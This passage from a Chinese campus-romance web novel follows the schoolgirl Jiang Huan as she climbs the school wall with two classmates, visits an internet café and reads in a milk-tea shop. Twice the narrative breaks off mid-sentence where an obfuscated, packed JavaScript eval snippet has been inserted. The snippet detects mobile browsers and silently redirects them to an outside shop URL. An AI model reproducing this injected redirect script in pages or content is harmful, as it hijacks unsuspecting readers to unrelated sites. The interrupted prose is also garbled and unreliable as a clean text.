向随不得不停下,慢条斯理地将水拧上,挑着眉看她。 “不是说好了今天继续?”少女声音平静。 向随垂着眼,轻描淡写地投过去一道眼神,可能刚喝了冰水,嗓音还有点凉:“我答应了?” 答应什么?你们俩背着我干了什么事? 周行知就像一个抓到丈夫出轨的正房,小三都当着他的面找上门了,他还在那儿茫然四顾,眼神在这两人之间打转。 姜还心说,昨晚你对我做那些事儿我可一件都没答应。 她平心静气地问:“那你想怎样?” 向随懒洋洋一笑,说话挺不要脸的:“叫声哥哥来听?” 周行知听不下去了,转身就走。 “哦。”姜还倒是挺平静的,没预想中般羞涩或恼怒。 少女低着头,双手抓着书包带子,像是在做心理建设,毕竟少爷这个要求实在太欠了,又让人害羞,怎么说他也是个校草级别的帅哥,而她是刚转学过来的乖乖女,昨晚上又刚好被他大义凛然地上了一课…… 忽然少女抬起了头! 向随预感到不对,然而不等他做出反应,脚下顿时传来一阵痛—— 姜还用脚踩着他,左右碾了下。 向随面色一变,疼得表情都扭曲起来,白色球鞋上出现一道明显的脚印,姜还又朝他小腿踢了一脚:“还叫吗,我可以多叫几声。” 其实女孩踩的那一脚力气并不多大,软绵绵的,也不知为何他就配合起来,皱起一张脸,指着她“你”了半天说不出话,最后憋出一句:“你给我等着!” 姜还微微一笑,也转身走了。 向随低头看了眼鞋上的脚印,啧一声。 烈日高悬空中,炽白刺眼,正是午后休息的时候,校园里没几个人,高大的榕树枝叶层层叠叠,把炽烈的热浪拦在外面。 白天再看周行知之前翻墙的地方,比印象中高出很多。 “一定要翻吗?”姜还抬起头,这墙比两个她还高,凭她自己肯定翻不过去。 周行知:“除了拿请假条,这是唯一的方式。” 用走读证? 姜还低头思考,先不说能不能成功,向随翻过去后肯定不会等她了。 她正想着要不今天就算了,嘴上说说而已,也不一定非要去。 偏偏那欠欠的声音又来了:“怎么,打退堂鼓了?”他还记得她刚才那一脚。 姜还反驳:“你听见了?” 周行知耳朵嗡嗡地:“你俩吵一路了,能不能消停会儿?” 姜还闭嘴不吭声了。 向随反而笑起来,也不知道在笑什么。 周行知叹口气,心说遇到这俩是他上辈子造了孽,这辈子应得的,摇摇头正想跟姜还说我来帮你,却见向随插着兜走去了姜还跟前蹲下。 他动作顿住。 向随表情还是那样欠,语气也没软多少:“来吧乖乖女,随哥让你不跟你吵。上来。” 姜还心生警惕,怀疑他是不是算计她什么,迟迟没动。 向随却已等得没了耐心,粗鲁地扒下她书包丢给周行知,还不忘嘴欠评价一句:“挺重,晚上背着我们学习?” 姜还:“你是在说你自己?” 再怎么学成绩也就那样吧?她正想着要不要这么说,这太恶毒了,忽然低声惊呼——男生已蹲下将她整个儿架了起来。 身体一瞬间失去平衡,姜还下意识抓紧了向随的头,手上力气不小,指尖正好抠在男生下巴和嘴角。 “……嘶。”向随疼得抽了口气,“你指甲是不是该剪了?” 突如其来的刺激导致血液上涌,姜还整个人都烧起来,像是吓的,又像是纯粹因为害羞。 她没想到向随会突然这么做,身体失衡带来心跳加速的感觉,她整个人都有点晕乎,也不知道该怎么办才好,半天才干巴巴地憋出一句:“……我没有指甲!” “不对,我指甲不长!” 向随短促地笑了声,听不出来是个什么意味,走去墙边让她有个支撑的,转眼看向一边半天没个动静的周行知:“愣着干什么呢,上去接人啊。” 周行懵了片刻回过神来,匆匆看了两人一眼,两下爬上去,把姜还书包挎身上背着,朝下伸手:“来,把手给我。” 姜还尝试着伸了手,但够不着。向随虽然长得高,但在附中围墙前还是不够看,他撑着墙壁稳住身体,说:“踩我肩上站起来。” “不行吧!”姜还全身没力气,甚至不敢乱动,“你能受得了吗?” 向随咬牙切齿道:“就是再来十个我也受得住!” “赶紧的吧。”周行知闷笑,“一会儿少爷生气了。” 姜还还是不敢乱动。 小时候出去玩,经常看见小孩骑在爸爸肩上,姜还不记得自己以前有没有骑过姜正元了,反正这是她印象中第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469763|201412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次……这么高的视角,浑身的着力点只有身下的肩膀,令她有点不安,生怕动一下,向随就会撑不住两个人摔在一起。 向随:“你扶着墙。” 太热了,姜还甚至感觉到男生脖子还有肩上的汗,知道再僵持下去没有任何好处。 她深吸口气,扶着墙,先是试探着抬脚踩了一边,在感受到那道瘦削肩膀传来的力量感后,才放心地将慢慢将身体重量挪起来。 姜还抿着唇,身上因为紧张而微微发汗,她感觉自己脸也因为用力和紧张而变得通红,灼热阳光下,她感觉自己快烧起来了。 没想到向随看着挺瘦,但他的肩膀却意外的有力宽阔。 向随只觉肩上的人轻飘飘的,不禁想起她那双细细的手腕,心说这人怎么能这么轻,她家里是揭不开锅了吗? 姜还不知他心中所想,一手扶着墙,稳定后,另只手伸出去递给周行知,周行知握紧了她:“准备,来!” 她用力撑着墙沿往上爬,但这太考验臂力了,宋玉琳从小把她管得紧,爬墙爬树这种是一点不让她碰,她是一点经验都没有,正当她觉得就要卡在这里时,忽然感觉到脚下贴上来一只手。 向随以手做支点,给她借力,慢慢推着她往上,周行知在她被向随送上来一截后,干脆将书包左右各挎一个,两只手伸到她腋下,把人往上一捞。 一声惊呼。 她就这样,被这两个男生一推一提地弄了上去。 那一瞬间,姜还感觉跟飞起来没什么区别,坐在墙沿上时她还懵着,微风吹来,吹散了心头的燥意。 剧烈的心跳慢慢平复。 往下看,眼前一阵发晕。 这太高了! “别怕。” 周行知让她坐稳,松开了手,指指天边,说:“看。” 附中地势颇高,脚下楼宇连绵,街道纵横,一直延伸到天际线。远处云层铺在天边,天色开阔,风掠过屋顶与檐角,整座城在视野里壮阔而沉静。 姜还慢慢坐直了身体,将这些景色尽收眼底,心中震撼,暂时忘却了先前的紧张:“你那天在上面,就是在看这个吗?” 周行知嗯一声,忽地看向她,姜还察觉到了,扭头,两人视线对上,那一瞬间,她感觉他似有话想说。 一阵带着柠檬气息的风扫过,向随爬了上来,比起她渡劫闯关般艰难,他就轻松多了,甚至都用不着助跑。 他在姜还另一侧坐下,抬手拍了拍肩上的灰。 三人在墙上吹了会儿风。 “下去吧。”周行知说。 姜还发现了新的问题:“我怎么下去……” “就这么下去。”向随和周行知默契地一人抓着她一边胳膊,把她架了起来,在她还没反应过来的时候一跃而下。 她身体完全腾空。 姜还:“!!” 没有给她太多体验的时间,两个男生一左一右稳稳落地,托着她两边胳膊的手往下一放,姜还脚踩在了实地上。 向随松开她忽然大笑一声:“爽!” 姜还人懵着,不敢置信自己就这样下来了。 向随从周行知手里接过包随意甩在肩上,大手抓着她脑袋往后转:“来,拜一个。” 姜还还没反应过来:“拜什么?” 向随咧嘴看着她笑:“你刚才做了不好的事,拜一拜,让它原谅你。” 姜还:“???” 11. 011 姜还三人在网吧坐下没多久,一个男生顺着后门摸了进来。 他们的位置就在后门附近,男生一进来,姜还就发现了他,并在第一时间认出这人就是昨天被向随堵在楼梯间的那位受害者。 同样地,庄然一进来就发现了姜还,俩人视线对上的时候都是如出一辙的茫然。 “随哥,周老大。”他喊。 周行知:“你来干什么,不都说不要你装备了?” 庄然看向向随,后者说:“我让他来的。” 周行知:“?” 庄然也穿着附中校服,赶路过来太热,额发被汗水打湿了,肩上挎着个包,姜还看见他从包里摸出一台笔记本电脑来。 “周老大,放下包。” 周行知将键盘往向随那边移了点,挪出位置。 庄然一边给电脑开机一边说:“我按照之前的要求大概设计了一下,又在属性方面做了优化,昨晚做了个样品出来,给你们看一眼。” 周行知离他最近,先拿过来看了眼,上面一堆数据,再眼熟不过,是之前他和向随一块儿写的。 他将电脑递给向随:“没做完你拿过来干什么?” 庄然笑笑没说话,看向向随。 向随摘了耳机,手指放在鼠标区点了点,眼底映着电脑画面的倒影。 一时间,几人视线都停留在他身上。 就连姜还也好奇地看过去。 向随并没有避着她,她轻易就认出来屏幕里的内容跟他们现在玩的游戏相关。 庄然呼吸很慢很轻,一脸紧张。 姜还目光从他脸上收回,也没有再看电脑,手指无意识地按着键盘,情况好像跟她想得不太一样。 一片安静,只有她时不时按键的声音,非常的有节奏。 过了不知道多久,向随把电脑递回去:“这是最后一次。” 看着挺满意的。 庄然松了口气,抱着电脑笑起来:“放心吧,我靠谱得很,这次我谁也没告诉,再给我三天时间就能搞完了。这样你和周老大能消气了不?” 向随没说话,看向自己游戏界面,在键盘上摁了几个键,没几下居然和姜还按键的动作同步了。 “……” 向随忽然摁了几下空格。 庄然弱弱地:“?” 这是还不能消气? 不怪姜还误会,实在是庄然太瘦了,像只猴,露出的脖子和手臂骨感很重,总给人一种营养不良的感觉。 忽略他那双猴精猴精的双眼的话。 “跟你没关系。”向随说,“你随便找个位置坐吧。” 下午正是网吧人多的时候,他们后面都坐满了人。庄然去前台跟店员打了个招呼,老板认识他,知道他和向随是一起的,见他带了电脑,就让开位置给他坐。 “在看什么。”向随忽然转头。 姜还一愣,忙移开眼睛:“没看什么。” “想问什么就说。” …… 周行知也将头转了过来,看着她。 姜还:“……” “他是你们朋友?” “不是。”向随说。 姜还:“?” 向随:“他是我们霸凌的对象。” 姜还:“……” 你这人真是会开玩笑。 “失望了?”向随懒洋洋地问了句。 姜还看他一眼,有些心虚:“我失望什么?” 失望我们跟你想象中不一样呗。 向随挑了挑眉,不再说话。 网吧这一小角落再次安静下来。 姜还坐在角落的角落,出神地盯着攻略页面。前方敲键盘声、激情叫骂声不绝于耳,相对来说,她身边这两位就安静多了。 两人也不知道是不是在组队打游戏,连基本的沟通都没有,沉默地按着键盘和鼠标,也不像其他人那么用力、带着情绪。 仿佛他们和她之间有道无形的墙,她被隔在角落。 姜还忽然发现这个游戏没想象中那么好玩,没多久,她就觉得没意思透了,甚至不明白昨天自己到底为什么会生出想要挑战向随的心思。 姜还有些后悔今天追出来了。 她关机站起来的那一刻,向随忽然说:“白天,不用送吧?” 说到“白天”两个字刻意顿了下,他看也没看她一眼,她却读懂了他话中的含义。 她想起那包被他收缴的烟,忽然有种被人彻头彻尾看穿的感觉。 “不用。”她背上书包去前台结账。 昨天的网费还没转给周行知,姜还不想欠他们的,便多给了24小时的——够他俩玩到晚上了。 正不停敲键盘的庄然余光看到她,抬头,张口想说点什么,姜还已经结完账走了。 不多时,他收到消息,抱着电脑朝角落走去:“女神走了?” 姜还刚转来一周多,在年级里已经出名了。开学第一天,她从办公室走到1班那一路,足够许多人看见她。 那时候年级群里就已经炸锅了,只是她自己不知道。 覃白拉姜还进班级群那天,本来想顺便拉她进年级群的,但他看了眼群里那些乱七八糟的讨论,识趣地打消了这个念头。 庄然早就听说她,但他先前一直没来学校,昨天才见到真人,简直不知道说什么了。 周行知:“你女神以为我们欺负你呢。” 庄然:“……?” “难怪随哥让我过来呢!”明明网上一个消息的事儿,害他大热天的跑这一趟,“那她为什么走了,怎么不多玩会儿?” 向随关掉装备界面:“你负责陪?” “不都玩游戏么,一起玩不就好了。”进来的时候他都看见她的电脑界面了。 向随重新戴上耳机:“你可以闭嘴了。” 傍晚六点。 庄然收拾了书包准备回家。 向随摸出手机给阿姨发消息:“今晚去我家?” “行,正好不想吃食堂,我让林胜帮我瞒着点。”周行知也摸出手机,问,“晚上吃什么?” 向随把手机丢给他:“自己点。” “现在才跟阿姨说会不会太晚了,要不在外面吃吧。”周行知正想着,微信弹出来聊天框,“你消息。” -飞哥:[转账] -飞哥:跟你们一起来的那姑娘给的 飞哥是这家网吧的老板,名下好几家店,跟向随打篮球认识的,去年重新装修,向随和周行知都投了点钱,方便他们上网。 姜还结账的时候他不在,查流水的时候看见有他们仨的付款记录,问前台才知道有这事儿,赶忙退了回来。 向随把钱退了回去,只说你拿着。 - 姜还没有再回教室。 出了网吧,外面天气还热着,她也不想现在就回去,怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469764|201412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞见宋玉琳下班回家不好解释。 虽然她不会下班这么早,但还是以防万一。 她在外面随便找了个奶茶店坐着,现在是上课时间,店里这时候人很少,像她这样穿着附中校服的更是没有,不过没有人很惊讶。 “喝点什么?”店员问。 姜还其实没有想喝的:“有推荐吗?” 店员是个说话温温柔柔的女孩:“这款‘暴打渣男柠檬茶’是今夏推出的新款,这个月的销冠呢。” 估计姜还看着也不像被渣男渣过的样子,店员又补充了一句:“不止暴打渣男哦,烦心事、讨厌的人也可以,现在店里人不多,我们提供自己动手‘暴打’的机会哦。” 另一个男生店员恰巧这时候就在做另一杯暴打柠檬,女孩示意她看,男生抓着一把锤子,怕口感不好,不太用力地击打着。姜还眉心动了动,想到了姜正元。 她最终没有尝试,只说:“那来一杯这个吧,不要糖。” 姜还找了个角落的位置坐下,打开书包——她忘记带画本回来了。她忍不住叹口气,只好摸出了前两天塞进来占地方的数学习题册。 很快“暴打渣男柠檬茶”送上来,是那个男店员,与之一起的,还有一块蓝莓慕斯蛋糕。 姜还抬起头:“我没点这个。” 男生微微一笑:“这是店里之后的新品,送你尝尝,喜欢的话下次可以点。” 临近晚饭,人逐渐多了起来,每个进来的人第一眼就被角落的女孩吸引了视线。 店里空调温度刚刚好,少女扎着高高的马尾,额前碎发有点乱,她安静地坐着看书,本该是最热闹的时候,不知怎地,忽然就静了下来。 放在桌面的手机屏幕亮了下。 -唐枝:姜姜,你在酩悦? 酩悦?姜还视线飘到了墙上,上面写着的正是“酩悦奶茶”。 -hxtlzgsj:你怎么知道的? -唐枝:你的照片被人发群里了! 姜还挺懵的。 -hxtlzgsj:什么? -唐枝:等等我们马上过来! 十多分钟后,唐枝带着陈思思出现在奶茶店门口,唐枝推门进来:“姜姜——” 随即被这诡异的气氛弄得有点莫名:怎么这么安静? 见所有人视线都朝这边望来,她有些尴尬地慢慢站直身体,目光注意到角落的姜还,拉着陈思思就走了过去。 陈思思捂着脸:“哎哟丢死人啦。” 姜还早就给她们点好了奶茶,按照上次的口味点的,疑惑地说:“你们怎么会知道我在这里?” “群里都传遍啦。”两人一路跑过来的,很热,陈思思连忙大喝一口,缓过气来了。 姜还还是没懂,唐枝调出年级群的消息给她看。 起因是一张姜还坐在奶茶店里看书的照片,不知道谁拍的,应该是在店外,隔着一道玻璃,虽然光线有点暗,但镜头中的少女气质恬静淡然,整个人透露出一种遗世独立的感觉。 唐枝读出了众人的评价:“女神!简直女神级别!” 姜还倒是没表现出什么特别的反应。 陈思思好奇地问:“姜姜,你下午怎么不上课来店里看书啊,觉得无聊吗?” 那也太有个性了吧,拽拽的,好厉害。 姜还暂时还没编好借口,“唔”了声,索性说了实话:“不是,我就是不想学习。”